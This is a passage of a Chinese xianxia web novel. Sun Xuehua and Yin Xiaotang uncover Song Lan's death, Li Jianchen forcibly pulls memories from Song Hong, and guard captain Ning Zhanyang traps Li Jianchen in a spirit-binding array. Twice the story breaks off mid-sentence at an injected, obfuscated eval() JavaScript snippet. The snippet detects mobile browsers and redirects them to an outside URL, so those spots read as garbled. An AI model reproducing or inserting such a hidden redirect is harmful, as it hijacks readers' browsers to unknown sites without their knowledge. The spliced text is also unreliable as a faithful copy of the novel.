他痛苦地蜷缩在地,面前却是一张惨白的毫无血色的脸。 宋澜就这么静静地躺着,满身是血,嘴角上扬,像是在笑,笑她终是得到解脱,又像是在笑那些爪牙的无能。 “啊啊啊啊!!” 宋鸿惨叫一声,昏了过去。 他的记忆就到底为止了。 从那天起,他就被关在这个破旧的院落,进行所谓的“赎罪”,被幽禁,被鞭打,被不断驯化,他们要他像一只丧家之犬,对他们俯首帖耳。 所以他恨,他恨这里所有人,更恨那个在月夜下拦住他们的,宋漪。 “她不该死吗?不该吗?”宋鸿不断重复着这个问题,连痛哭的力气都没有了,无力地垂下手,躺在床上一动不动。 尹晓棠吓了一跳,忙封住他的穴道,免得他气郁攻心,经脉逆乱而亡。她轻声哄道:“你先歇一歇,歇一歇。” 她有点无措,头一偏,就见孙雪华从窗外翻了进来,顿时眼前一亮:“孙掌门。” 对方点了点头,没有说什么,而是带了些热水和吃食,给宋鸿喂了点软烂的米粥,再喂了点热水和药丸,宋鸿抬着沉重的眼皮,戒备地看了孙雪华一眼,确定对方身上没有那股奇怪的气息,才安然睡去。 尹晓棠将孙雪华拉到一边,小声和他说明了情况,包括宋鸿给她讲过的往事。 “所以宋鸿才这么恨宋漪,才会在这里画那个法阵。”小姑娘长叹,心里很不是滋味,孙雪华低眉,从灵囊中取出那个陈旧的剑穗,说道:“在宋漪房里找到的。” “她练剑?” “不,她剑术并不高明,甚至可以说一窍不通。” “啊?您都调查过了吗?” 尹晓棠愣了愣,而后便流露出一丝崇拜,孙雪华摇了摇头:“不是我调查的。” 是有人告诉我的。 他抿了抿唇,不知该如何向这个小姑娘解释,尹晓棠见状,忙说道:“孙前辈,你若是为难,不必事事都告知于我,我完全信任你。” 她笑了笑,唯有此刻,才有一丝半缕的不谙世事的天真。 孙雪华默然,他刚刚居然犹豫了一下,犹豫要不要告诉尹晓棠,李见尘的真实身份。理智告诉他,李见尘的目的尚不得而知,似敌似友,而尹晓棠才是全心全意信任自己的那个,无论如何,都不该对这个小姑娘隐瞒才是。 可偏偏,他选择了后者。 “今后如果有机会,我再向你细说吧。”孙雪华说着,目光又落向那个剑穗,“我怀疑,这是宋澜的剑穗。” “嗯?宋澜的?” “对,因为我们看到的那点尘缘,一直这剑穗周围盘旋不散,说明此物与逝者生前的联系最为紧密。从目前得到的情报来看,宋鸿和宋漪,都不是练剑之人。” 尹晓棠福灵心至,问道:“会不会是宋澜心上人的东西?” “宋澜根本没有怀孕。”孙雪华说得斩钉截铁,尹晓棠吓了一跳,眼睛都瞪大了:“啊?” “凡是真实存在过的人和物,都会留下痕迹。”孙雪华再次放出那点尘缘,施术让她重回人形,对尹晓棠说道,“宋澜偏瘦,但骨架匀称,不似宋鸿那般,是个驼背,说明她骨胳发育是正常的,孱弱是后期受到外力的影响,而且极有可能是因为那些药物的原因。” 孙雪华顿了顿:“不过,这点尘缘纵然显形,也无法将所有细节显示出来。” 他勾了勾手指,那“女子”便也抬起手来,尹晓棠这才发现,“她”的指节几乎是透明的,而练剑之人,会在指节处留下茧子。 孙雪华再次施术,那点尘缘又渐次散去,变成了虚无渺茫的如同细沙一样的东西。 “若是宋澜怀孕时而死,那么未能出生的孩子,也会变成婴灵。生前没有分离的母亲和孩子,死后也不可能分开,他们之间会形成一条纽带,代表着一体共生。”孙雪华注视着那细沙般的灵光,神色凝重,“可是,尘缘即将散尽之时,那根纽带仍然看不见。” 尹晓棠满脸惊愕:“那,那——” “你是想问,为什么宋澜要这样欺骗宋鸿吗?” “嗯。” “大概是不想再喝那些药吧。” 那些由自己的亲弟弟端上来的,也许会要她命的药。 可是不得不喝,不喝的代价也许就是他们都会死。 孙雪华在冥冥中,感知到了宋澜当初是何等的痛苦。 “此事了结之后,我会开坛做法,保佑宋姑娘来世安好。” 他说着,沉默地收好那剑穗。 眼下,唯一能确定的就是宋鸿暂时不是护卫失踪案的主谋,可是如李见尘所言,是谁给宋澜的尘缘披上那样可怖的“外衣”? 而且—— 孙雪华望着手中那张,藏着宋澜尘缘的符纸,心下默念着,到底是什么原因,能让物生灵气呢?是宋澜留下的执念吗?可若是执念,应当有明确目的才对。 宋澜死去之时,似乎十分解脱,这些尘缘也是非常松散的,漫无目的。它们不是在刻意保护宋鸿,也不是在蓄意报复宋漪。 是为什么呢? 孙雪华直觉这次的护卫失踪一事,只是一个引子,这个江心洲究竟藏着怎样的秘密,还不得而知。 他看了眼这破旧的小屋,和尹晓棠说道:“尹姑娘,你今后便与我一道行事,以免不测。” “嗯。” 孙雪华点了点头,将昏睡的宋鸿用破旧的草席裹了起来,带着他离了屋子。 候在门外的李见尘眉头一挑:“你要带他去哪儿?” “去你那儿。” “嗯?” 李见尘刚要拦住他,孙雪华就如一只轻盈的燕子,翻过了院墙,尹晓棠正要追上,却被某人扯住了披风,当即卡了下脖子,“哎呦”了一声。 “你们要做什么?”李见尘颇有些不满,尹晓棠不解:“孙前辈说让我以后都跟他一起行动。” 小姑娘不明白他为什么要拦着自己,只道:“特殊时期,李前辈你就多多体谅我们吧,我可以替你洒扫庭院。” 李见尘神色微妙,不知是要露出怎么个表情,但他还是松了手,尹晓棠拱手抱拳,转身去追孙雪华了。 “麻烦事儿真是越来越多了。”李见尘想了想,孙雪华带走宋鸿,一定会引起守卫的注意。 但这又何尝不是一种引蛇出洞呢? 他微微摇了摇头,没有说话。 孙雪华带着两个人进了李见尘的院子,先将宋鸿放在了外间的榻上,又去开另外一间屋子,暂且让尹晓棠应付两晚。 “宋鸿被我们带走,宁展阳一定会知晓,到时候我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762377|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们——” 孙雪华附耳吩咐着,尹晓棠连连点头,他又问着:“尹姑娘,你若是方便,就再去问问金伯涛,有关宋鸿的事情。” “嗯。” “伸出掌心。” 尹晓棠依言照做,孙雪华在她掌心画了一个符,小巧精致,画完便渗入皮下,不见踪影。 “这是护身符,可保你平安。” “嗯。” “金伯涛不管说什么,你只管记下,尽量不要顶撞他。” “好。” 孙雪华静静地看了她一眼:“万事小心。” “我一定。”尹晓棠郑重地点了个头,便又匆匆离去。 她与回来的李见尘打了个照面,两个人对视一眼,就擦肩而过。 李见尘施施然进了屋,就见宋鸿躺在外间的榻上,本就不太高兴的脸色更是雪上加霜,阴阳怪气着:“孙掌门还真是大方。” “我本想让他睡里间,更安全些,但怕你不舒服,就先让他睡这儿了。” 李见尘:“……那我还要感谢你了?” “晚上要再麻烦你了。”孙雪华说得恳切,李见尘嘴一撇:“麻烦什么?” “让我和你挤一挤。” 李见尘:“?” 等会儿,等会儿,他这意思是? 孙雪华没有等来他的回答,便从携带的包裹里翻出自己换洗的衣物,问道:“能否借你的浴池一用?” “你要沐浴?” “嗯,我决定晚上开坛做法。” “嗯?” 李见尘还没回过神,孙雪华就先一步朝着那浴池走去。 阿音正在窗户上飘来飘去,见到有人来,赶忙藏了起来。孙雪华像是没有看见她,正要推门而入,李见尘忽地伸手,按住了门板,前襟抵在孙雪华后背上,轻声呢喃着:“孙掌门开坛设法,是要做什么?” “有邪灵作祟,自然要进行驱逐。” 孙雪华望着眼前那白皙的手背,那微潮的香风萦绕不去,令他莫名恍惚起来。 孙雪华不由闭上眼睛:“时间紧迫,李门主就不要节外生枝了吧。” 李见尘闻言,松了手,却没有正面回答这个问题。 他跟着孙雪华进了浴池,那里依旧热气腾腾,潮湿的水汽将二人淹没其间。 李见尘开着玩笑:“这里边,可不算干净啊,孙掌门当真要在此沐浴?” 孙雪华却反问道:“你也在这里洗过澡,怎么算不得干净?” 李见尘又是一愣,再回神的时候,对方已经脱去了外袍,解下了束发的发带,平日里总是整整齐齐的头发尽数垂落,发梢轻轻拂过颈侧,也像是拂在李见尘心尖上,令他不由地握紧了手中长箫。 孙雪华似乎没有注意到这人的变化,又脱去了一件,正准备脱去里衣时,那根长箫就轻轻地压在了他的手背上,截下了他下一步的动作。 “怎么了?” 李见尘听了,头脑懵了一下,问他:“你就在这儿脱衣服?” 孙雪华直直地盯着他:“洗澡不脱衣服吗?” “呃,我的意思是……”李见尘想了半天,居然有些词穷了。 孙雪华垂眸,似乎有些无奈:“你甚至只裹着一条浴巾跑出去过。” “……” 李见尘收了长箫,背过手去:“那不打扰孙掌门了。” 言罢,大步离去。 孙雪华不言,脱去了最后一件衣物。 20. 第 20 章 李见尘从浴池外折返,阿音就轻飘飘地跟在他身后,偶尔会消失在光影之下,偶尔也会化作一只小蝴蝶,上下翻飞。 李见尘不予理会。 他进了那个外间,面无表情地扫了眼还在昏睡的宋鸿,指腹不声不响地摩挲着手中长箫,似乎在思量着什么。 地板上出现了一撇一捺,可字还没成形,就又被阿音拂去。李见尘瞥了眼,笑了笑:“我没有想杀他。” 地上未有字体显形。 李见尘走上前,两指点按在宋鸿的眉心,灌入一丝灵力。那力量不似一般修者,轻盈丰沛,反倒带了些许剽悍凌厉。它在宋鸿的脑海里横冲直撞,激得这人手足搐搦,不断低声哀嚎 “阿音,控住他的手脚。” 李见尘吩咐着,只见少女身上的金色飘带捆住了宋鸿的手脚,强行镇压住了他。 “阿音,你知道吗?有些事情就算当事人想不起来了,但只要他这双眼睛看见过,那么那些画面就会变成记忆,封存在心神当中。” 李见尘哑声低语,手上更是用了几分力,那一丝灵力迅速破开宋鸿的内心防线,将对方深埋于心的记忆彻底勾了出来。 起先,是一个很矮的视角,矮矮的,可能连桌子都够不到,摇摇晃晃地要出门,却被门槛绊了一跤,摔倒在地。 眼前一片模糊,大概是视角的主人哭了,不管不顾地嚎啕大哭。 “小鸿。”有个人走了过来,慌忙将他抱在怀里,一下一下拍着他的背,轻声哄着,“乖乖,不哭不哭了,阿姐抱抱。” 李见尘头一歪,再次用力,宋鸿在昏迷中惨然大叫,四肢疯狂挣扎起来,阿音差点没按住。李见尘两指轻轻一弹,加重了他身上的禁锢,强行让这人再次陷入昏睡。 视角变得高了些,走路稳当,能跑能跳。 眼前还是那个小小的院落,有个少女在院中练剑,身姿矫捷,剑出如龙,可见她基本功极好,假以时日,定成大器。 视角就倚着门框,一动不动。 “小鸿。”少女跑了过来,一把抱起他,那模样约莫十二三岁的样子,与日后有七八分像,这么一算,那时候宋鸿确实也小,只四五岁的年纪。 “阿姐。”年幼的宋鸿叫了一声,问她,“你在做什么?” “阿姐在练剑,小鸿不要告诉别人哦。”宋澜笑起来,好似春风拂面,那两弯柳叶眉也微微上扬,看着格外舒心。 “嗯。”宋鸿点点头,又看向了那剑柄上的剑穗,伸手就要去拽,宋澜一侧身,阻止了他:“这个不行,这个是……” 后面的话听不见了。 李见尘低头再看,宋鸿浑身直冒虚汗,整个人像是刚从水里捞出来那样,衬得那张脸尤为的白,尤为的凄惨。 是这人的意志在抵抗他的术法。 究竟是什么,让他这般恐惧呢? 李见尘迟疑了一瞬,再次发力,想撬开宋鸿紧紧藏着的秘密,没想到,术法才进行到一半,对方居然一下睁开了眼睛,血水从眼底、耳窍、鼻孔、嘴角里流了出来,他整个人猛地从床上弹起,以一种怪异的姿势趴在床上,嘶吼着:“我要杀了你!我要杀了你!” 七窍流血,面目狰狞。 李见尘一想,有点糟糕,宋鸿好像发疯了。 “啊啊啊啊啊啊啊!!” 床上那人惨叫着朝他扑了过来,李见尘后退一步,却觉腰上被人一揽,孙雪华瞬间出现在他身前,单手制住了发狂的宋鸿,并快速封住这人的奇经八脉,对方顿时直挺挺地倒了下去。孙雪华搂着李见尘的手一松,往前一步,接住了倒下的宋鸿,将人平放在了床上,又给人硬塞了两颗悬命丹,好不容易才保住了他最后一丝气息。 做完这一切,孙雪华就一言不发地站在床边,既没有转身,也没有回头。 他刚从浴池里出来,一看便知是飞奔而来的,平日里一丝不苟的着装,此刻也略显松垮地挂在身上,头发上的水也未曾擦干,水珠顺着发尾,一滴又一滴,如同断线的珍珠那般,接连不断地坠落于地,很快就在地面积成了一小滩水渍。 孙雪华不语,屋子里的氛围更显肃杀,感觉下一瞬间,那些水渍就会变成一块又一块的坚冰。 李见尘知他是在压抑自己的愤怒。 “小雪怎么头发都不擦就出来了?” 明知故问。 李见尘手一勾,便卷住了他一缕头发,孙雪华不声不响地转身,还是那样冷静的脸,不动如山,没有裂痕。 李见尘感到失望。 他觉得孙雪华还是生气比较好,会显得鲜活,显得自己,有被重视。 李见尘仍是笑盈盈的:“我替你问过宋鸿了,你在宋漪房里找到的那个剑穗,就是他阿姐宋澜的。” 孙雪华没有回应这个问题,只是问他:“我有没有和你说过,宋鸿现在的状态,根本不能强行施法,撬开他的记忆闸门?” “没有。”李见尘摆出一副认真思考的样子,“我当时在屋外,不知道你和尹晓棠说了些什么。” “你不知道?”孙雪华脸上终于有了一丝波澜,他再度重申,“以李门主的实力,居然会不知道吗?就算我不说,你也应当知晓,你这么做是会闹出人命的。” “那又如何?”李见尘竟是说得十分轻巧,“孙掌门也说了,我们当务之急是要揪出幕后黑手,避免更多的人受伤,我不过是用了些非常手段,你何至于此呢?难道一个命不久矣的疯子,比那些活着的无辜之人更重要?” “性命岂有高低贵贱之分?”孙雪华握拳,背在身后,“我已经向你坦言,今晚我要开坛设法,引出那幕后之人,只要他在这江心洲上,必有蛛丝马迹可循,到时候——” “照你这样的做法,何时才能找出真凶?”李见尘不以为意,甚至打断了他的话,“孙掌门,吾以为,雷霆手段方显菩萨心肠,从宋鸿入手必定是最简单有效,最快捷准确的方法。” 孙雪华的手又攥紧了几分,他盯着李见尘,眼底终是燃起了一丝怒意。 “一派胡言。” 他没有呵斥,只是轻轻地吐出这四个字,可落在地上,却有如千斤重,李见尘不由地想笑:“小雪,你是掌门当久了,任何事任何人都想保它周全,可你有没有想过,这世间本就没有十全十美的办法。” “嗯,我知道。” 孙雪华低眉,李见尘还以为他不想跟自己吵了,正觉得索然无味,对方反手结印,数道灵气从他背后冲出,径直将李见尘捆得严严实实。阿音吓了一跳,忙跑了过来,被孙雪华两指按住眉心,施术定在了原地。阿音动也动不得,叫也叫不出,眼见着李见尘被拽进了里屋。 “砰!” 小门一锁一拴,李见尘就被扔到了榻上。 “哎呀。”他嗔怪着,心下却是十分满意,“孙掌门这是要做什么?大敌当前,你我可不能内讧啊。” “李门主何时与我一条心了?”孙雪华站到榻前,低头看着被自己的灵锁缚住的 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“按照我临渊的规矩,你现在就该受罚,或是罚跪,或是挨板,或是闭门思过,抄书受戒。”孙雪华微叹,“可你非我门下弟子,你就在此思过吧,我会为你筑起一道结界,以免你受到伤害。” “是怕我受到伤害,还是怕我出去捣乱?”李见尘勾起嘴角,“孙掌门这话,未免太冠冕堂皇了。” 孙雪华静静地注视着他,没有立刻回答。 李见尘依旧贴在他身上,温热柔软的气息隔着潮湿的布料传来,令他产生了一丝微妙的、想要逃避的心情。 “我知道了。”孙雪华微微阖眼,坐到了他身边,李见尘这一回没有猜透他的心思,还不怕死地躺在了对方腿上:“你知道了什么?” 孙雪华沉默地将他翻了过来,李见尘上半身就趴在了他腿上,还有些疑惑:“怎么了?” 话音未落,孙雪华便抬起手,狠狠打了他屁股一巴掌。 李见尘整个人都傻了,甚至没有半点反应。 孙雪华又是两巴掌,清脆的声响在李见尘耳边炸开,他当即清醒了过来,大叫一声:“孙霁初!” 孙雪华,字霁初,临渊第八十三任掌门,正道魁首,仙门支柱,此时正将他按在腿上打屁股。 李见尘又羞又恼,正要挣开捆住自己的灵锁,不曾想,孙雪华却快他一步,强大的力量布散开,完完全全镇住了他的身体。 “李门主不断激怒我,不就是为了这个吗?”孙雪华一脸平静,手上却没有闲下来,一下接着一下,打得李见尘臀上火辣辣的疼。 他不敢叫了。 感觉有点爽。 李见尘闭上眼,一言不发。 孙雪华默然片刻,忽然说道:“我从来没有见过像你这样烦人的。” 言罢,他便松开了腿上这人,李见尘趴着不动,只闷声笑着:“孙掌门只想说这个吗?” “惩罚只是流于表面的东西,你会不会改,愿不愿意改,全在你自己。”孙雪华打得气顺了些,轻轻握拳,不再有所动作。 李见尘好久没有回应。 谁也不知道他在想什么。 孙雪华没有推开他,大概是打累了,需要休息,需要养精蓄锐,等到头发变干,就可以开坛设法了。 良久,李见尘忽地翻了个身,轻喘一声:“好痛。” “疼就趴着。” “趴着肚子不舒服。” 李见尘选择侧躺在孙雪华腿上,头朝外,头发全部铺开在对方怀中。 孙雪华不言,静静闭上了眼。 21. 第 21 章 另一头,尹晓棠依言去找金伯涛,但对方巡逻去了,并不在屋内。她便悄悄潜入对方屋内,在空无一人的屋中查探了一番。 金伯涛即使已经坐上了副守卫长的位置,但还是和几个兄弟挤在一间狭小的瓦舍,吃大锅饭,睡大通铺,没有多少架子,个人物品也很简单。眼下所有人都不在屋内,尹晓棠便循着金伯涛的气息翻了又翻,在床底下找到一个暗格,从里头找到一张空白的宣纸。 “这是什么?”尹晓棠翻来覆去,只觉得这是一张普通的宣纸,可被金伯涛藏在这么隐蔽的地方,又实在不好说到底重要不重要。 小姑娘犹豫许久,就将那张宣纸藏进了自己的灵囊当中,对着那盒子轻轻拜了拜:“罪过罪过,等孙前辈看过以后,我再把这张宣纸还回来。” 她拜完,就又无声无息地离开,准备返回李见尘住处,没想到,刚走到院外不远处,她就看见宁展阳带着几个人高马大的手下,一脚踹开了院门。尹晓棠赶忙猫下腰,躲在草丛里,静观其变。 宁展阳阴沉着脸,径直闯入了屋内,孙雪华早早感知到他的到来,就站在外间等着,二人当下就撞了面,宁展阳瞥见孙雪华背后躺着的宋鸿,气不打一处来:“殷小兄弟这是何意?庄主特许你调查护卫失踪一事,可不曾允诺你能在此胡作非为!” “胡作非为?”孙雪华镇定自若,“我只是调查途中,见此人身陷囹圄,饱受折磨,这才将其带到此处医治,若说胡作非为,不应当是那些草菅人命的狂徒吗?” “你!”宁展阳一口银牙差点咬碎,他今日照着时间来巡视宋鸿的住处,没想到对方却消失得无影无踪,那几个护卫一个两个都说不知道。能在他的眼皮子底下,把这么个大活人神不知鬼不觉地弄走,除了这个来路不明的野小子,宁展阳实在想不出还有别人。现在,这小子居然就这么堂而皇之地站在自己跟前,指桑骂槐,教他如何不动怒? 可是和人来硬的,自己明显不是对手…… 宁展阳蹙眉,忍下了心底喷涌的怒火:“你可知这是何人?” “何人?” “此人包藏祸心,残杀手足,庄主念在他身上仍流着宋家的血,留他一条性命,不曾想,他却屡教不改,致使多人受伤,我们这才将他关了起来,以免不测。”宁展阳一脸痛心,“你将他带出来,必有大患。” “残杀手足?”孙雪华闻言,挑明了问,“哪个手足?我听闻宋庄主儿女成群,不知是少了谁,走了谁。” 宁展阳睨了他一眼,只道:“当年,宋鸿的胞姐宋澜不慎溺水而亡,他却一口咬定是二小姐所为,手持利刃袭击了二小姐,还有她的几个贴身仆从,最终被我所擒获。” “溺水而亡?”孙雪华反问,“如何确定?” “这还能有假?”宁展阳神色复杂,“当年,二小姐与宋澜关系最为要好,可是宋澜生了病,日渐憔悴,二小姐日日为她送药,她也始终不见好转,许是时间久了,想不开,夜里边就投水自尽了。宋鸿去拉她,也淹了个半死。二小姐得知此事,绝食三天,差点也没了命。” 那些可能有毒的汤药,居然是宋漪给宋澜的。 孙雪华沉默片刻,宁展阳又规劝道:“你快将人交出来,免得他醒来又发疯,害得大家鸡犬不宁。” “他暂时不会醒的。”孙雪华拒绝了这件事,“我会想办法治好他,这件事,还请守卫长通融一二。” “通融什么通融!再过一日,便是庄主寿宴,你想让大家都跟着完蛋吗!”宁展阳怒喝,“快把人还我,否则休怪我不客气!” 孙雪华冷冷地看了他一眼,问他:“守卫长先前设计杀我,怕我捅破这个钱庄的秘密,说的便是宋鸿之事吗?” 宁展阳愕然,他知道这人已经看穿了他的计划,可没想到的是,对方居然精准无误地说出了他与李见尘谈话的内容。 “你那天在门外偷听?” “是。” 孙雪华不加掩饰,既然李见尘身份已明了,那他不至于打不过宁展阳,如此,便无性命之忧,自己也好盘问到底。 山羊胡子气极反笑:“你既然知晓那是我家祖师爷,怎敢将人带到此处?就不怕——” 宁展阳倏地脸色一变,有个不可思议的想法冒了出来。 李见尘与这人联手了。 孙雪华见他迟迟不说,便道:“守卫长不如坐下来喝杯茶,和我好好聊聊。” “痴心妄想!快将人还我!”宁展阳指着他的鼻子骂,孙雪华没有废话,缓缓抬手,指尖凝气,只见一点灵光乍起,宁展阳与那几个护卫瞬间被轰了出去,像几条腊肠一样,在地上滚了好几圈才停下。 宁展阳甚至来不及反应到底发生了什么事,就听孙雪华的声音若即若离地传来:“守卫长,我希望你知道,我不是在和你商量此事。” 冷冽的气息如寒风过境,令人胆战心惊。 宁展阳灰头土脸地爬起来,恶毒地瞪了眼那扇紧闭的大门,低声吩咐其中一个手下:“你去回禀庄主,就说……” “是,是。”那手下连连点头,很快就离了这院子。尹晓棠看见有人出来,又望了望院内,思量片刻,便追着那个护卫去了。 宁展阳掸干净身上的灰尘,又一次上前,高声道:“祖师爷!庄主与属下千辛万苦请您出山,这赤胆忠心,天地可鉴!您莫要被这野小子蒙骗了,还请让我进去回话!” “进来吧。” 下一刻,孙雪华便打开了房门。 日光下,整个院落都显得十分透亮干净,连一粒尘埃都不见。孙雪华站在屋内,阳光并不能将他照亮,阴影之中,只感到一股强烈的,不可仰视之感。 宁展阳走了一步,就顿了顿,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762379|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说话,侧身进了屋,那几个护卫也要跟着进去,却被孙雪华拦下。那几人面面相觑,根本不敢忤逆他。 山羊胡子进了里屋,就见李见尘身后垫了个靠枕,半躺在榻上,忙跪下来,问道:“祖师爷,刚才之事,您可曾瞧见了?” “嗯,瞧见了。”李见尘看都没有看他,视线飘忽着,不知道在想些什么。 “那您为何不出手相助?” “我打不过他啊。”李见尘嘴角上扬,“人家可是临渊掌门,正道魁首,而我,不过是区区一个小门小派的头头,萤火之光,岂可比肩日月?” 宁展阳愕然:“临……临渊掌门?” 他知道这野小子十有八九出身临渊,但怎么可能是临渊掌门?现任临渊掌门孙夷则,也该是二十七八岁的年纪,怎会…… “是啊。”李见尘见到他这样子,就发笑,“你有没有听说过,孙雪华,孙霁初这个名字?” 宁展阳瞳孔紧缩,愣在原地。 孙霁初,不是十几年前,正邪之战时,已经以身殉道了吗? 李见尘一看便知,笑着:“你既然知晓,就不要再做无谓的挣扎了吧。” 宁展阳久久不言。 李见尘手指搭在自己的长箫上,有一下没一下地叩着那些萧孔,只见跪着的某人缓缓起身,问道:“那祖师爷是想束手就擒?” “那不然呢?打不过就是打不过,还能如何?”李见尘调笑着,目光落到了他握着戒鞭的手。 利害相悖,必有反心。 李见尘无声地笑了,只听宁展阳说道:“可是我与庄主大费周折,才将您从幽闭的地宫中释放出来,您就这么轻而易举地臣服了吗?” “对,识时务者为俊杰嘛。” 宁展阳低眉:“那恕我先行告退。” “慢走不送。”李见尘仍是在笑,颇有几分逗弄的意味。 话音未落,宁展阳的戒鞭就有如出鞘的利刃,一瞬间打了过来,李见尘只轻轻后仰,免得自己漂亮的脸蛋破相,可他并未躲开,那条戒鞭便狠狠打在了他的手背上,一道赤色的血痕赫然在目。 宁展阳更是怒不可遏:“连我一鞭都受不住,要你何用!” “哈哈。”李见尘像是感觉不到痛,另一只手摸了摸下巴,说道,“原来你们设阵做法,将我从地宫之中召唤至这人间,就是希望我给你们做打手啊,怪不得先前对我那么客气。但是呢——” 他顿了顿:“如果任何一个阿猫阿狗,都觉得,凭借一个法阵就能将我困住,供他驱使,替他杀人,那我是不是太没面子了?” “没有任何利用价值之人,就如一把断剑,毫无存在的意义,我与庄主岂可容你与那野小子联手,坏了好事?” 宁展阳甩出戒鞭,那鞭子顿生灵光,竟是形成了无数道利刃,暴风骤雨般扑向了李见尘。 22. 第 22 章 半靠在榻上的人无动于衷。 那闪着寒光的利刃密密麻麻捅穿了他的五脏六腑,可伤口处却一滴鲜血未见。他冷眼静坐,抬手轻轻一拂,就像掸去袖上几粒尘埃那般,拂去了这满身疮痍。 毫发未损。 宁展阳眉头紧锁,戒鞭再次回到手中,缠在了腕上。 “守卫长怎么忘了,我现在非人非鬼,普通的招式于我而言,根本不起作用。” 李见尘笑着,看上去又温柔又亲切,宁展阳嗤了一声,只道:“论道行,我确实是浅了些。” “你有这自知之明便好。”李见尘叹道,“我给你两个选择,一,闭上你的嘴乖乖离开,我可以当作一切都没有发生过,二,死在这儿。” “我的性命,不值一提。”宁展阳右手握上了刀柄,“但若是能得偿所愿,赌上性命亦无妨。” “宋忱非是明主。” 李见尘话音未落,只见宁展阳快速拔刀,朝他扑了过来,那狰狞的模样,似乎真要和他不死不休。 李见尘不太能理解。 宋忱,宋氏山庄的主人,这次八十大寿的主角,非是善类,可宁展阳却一心护主,那豪言壮语听起来便格外可笑。 思绪骤断。 宁展阳的刀锋并没有劈在他的身上,而是正中软榻后方的墙壁。那墙面瞬间四分五裂,露出一个金光灿灿的法阵,金线描边,丹砂作衬,状若莲花,添以波涛海纹。 “请祖师爷成全。” 宁展阳低喝,那把长刀以迅雷不及掩耳之势融入法阵之中,一时间,波涛如怒,漩涡顿生,莲花铺展,将李见尘完完全全笼住,拉扯着他的四肢头颅,似是要将他完全吞没。 可榻上的人,仍是不为所动。 他只是轻轻地,略有点疑惑地问着宁展阳:“你的主子,到底是谁?” “庄主也曾是听海崖门下弟子,这些法阵,自是他教给我的。”宁展阳翻身后撤,“我等既然能请您出山,自也能送您回去。” 李见尘闻言,莞尔:“不对吧,守卫长?我记得这个法阵,是缚灵铸器之用啊。” 他未能完全说完,宁展阳便再次施术,整个法阵自莲花中心向外扩散,不消片刻,就铺满了整座建筑。李见尘被裹挟着悬在了半空之中,那花蕊处凝聚着一团气,十分古怪地缠在他心脏处。 “哎呀,是我大意了。”李见尘有些难受,手稍微动了动,那腕上瞬间多了几道红痕。 他叫了两声,说道:“孙掌门,为何不救我?” 无人应答。 他“啧”了一声,感觉不太妙。 天光之下,只有宁展阳孤身站在院中,日光将他的身影不断拉长,像一颗早已与这无尽的大地融为一体的钉子。 “孙雪华,我知道他,十几年前魔都祸乱,他以身殉道,生魂燃灯,如今却突然出现在人世,”宁展阳似笑非笑,不知道在想着什么,“且不说这是真是假,就算他是如假包换的孙霁初,恐怕也如您一般,非人非鬼。” “不如一道献于这缚灵阵,共做我手中灵器。” 话音刚落,他手中戒鞭再次飞出,利刃再现,将李见尘牢牢钉死在法阵中央,盛大的莲花再次膨胀,将整座庭院笼罩其下。 一阵钻心刺骨的疼痛从心脏处传来,李见尘闷哼一声,额上冒出一层细密的汗,痛楚将他的五感无限放大,意识出乎意料的清醒。 他没有昏过去。 “唉,真没想到有朝一日,我会死在自己创制的法阵之下。”他仍是在笑,仿佛完全游离在整个事件之外,“早知道就该多想点逃跑办法了。” 宁展阳不答,只是再次加重了力道,那戒鞭化作的利刃不断吞噬着李见尘的身躯,只能他气息一散,便将他彻底吸收。 “真倒霉。” 李见尘微叹着,始终不见孙雪华的身影。 但他知道,那人恐怕也不好受。 而且,法阵一开,最受影响的应该还是阿音。 那个孩子,真的最有可能会在法阵开启的那一瞬间灰飞烟灭。 孙雪华比李见尘更早地察觉到了危险的来临。 在宁展阳第一次与人发生冲突的时候,他就感知到了一丝不同寻常的气息。许是多年来刀尖舔血的生涯带给了他极为敏锐的直觉,他几乎是第一时间就扛起宋鸿,并将阿音带到了浴池中。 “怎么到这里?” 一个又一个的字体出现在地板上,孙雪华只道:“这个地方,有李门主专门专门划出来的结界吧?” 阿音一顿,没有回答。 “在你主动现身前,我都没有见到过你。”孙雪华只提点了一句,阿音便明白了,能逃过临渊掌门的法眼,不是结界又是什么呢? “嗯。”她简单画了几笔,孙雪华叮嘱道:“我会在结界被破开之前回来,你待在这里,看着点宋鸿。” 阿音点了点头。 孙雪华很快就离了这方寸之地。 刚刚赶回,就见一道气势恢宏的法阵笼罩在整个庭院上方,他一阵目眩,有种力量被抽离的错觉。 “这是……” 孙雪华摊开掌心,发觉自己的双手透明了一点。 他应该在哪里见过。 可情急之下,竟是忘了。 孙雪华抬头,李见尘似乎快到了油尽灯枯之时,只隐隐地瞧见一道虚影。再回神,宁展阳已赤手空拳朝他走来,面色阴沉。 双方均未有言。 天光无限好,人似飘蓬转。 宁展阳一拳打了过来,这一拳,可比李见尘装出来的花拳绣腿厉害得多。孙雪华抬手挡下,却觉得自身的力量在不断分散,拳拳到肉的对决带来的痛感比平日里强上许多。他想要运气,却发现每动一次,内丹犹如一颗火种,不断燃烧,仿佛就要变成一堆灰烬。 宁展阳目露凶光:“没有灵力加持,孙掌门可还能与我过招?” 孙雪华不语,后撤一步,对方一拳打穿了地面,青石碎裂,尘土飞扬。 “好俊的功夫。”孙雪华坦言夸赞了一句,宁展阳再次挥拳,拳风刮过他面前,带来一股强烈的刺痛感。 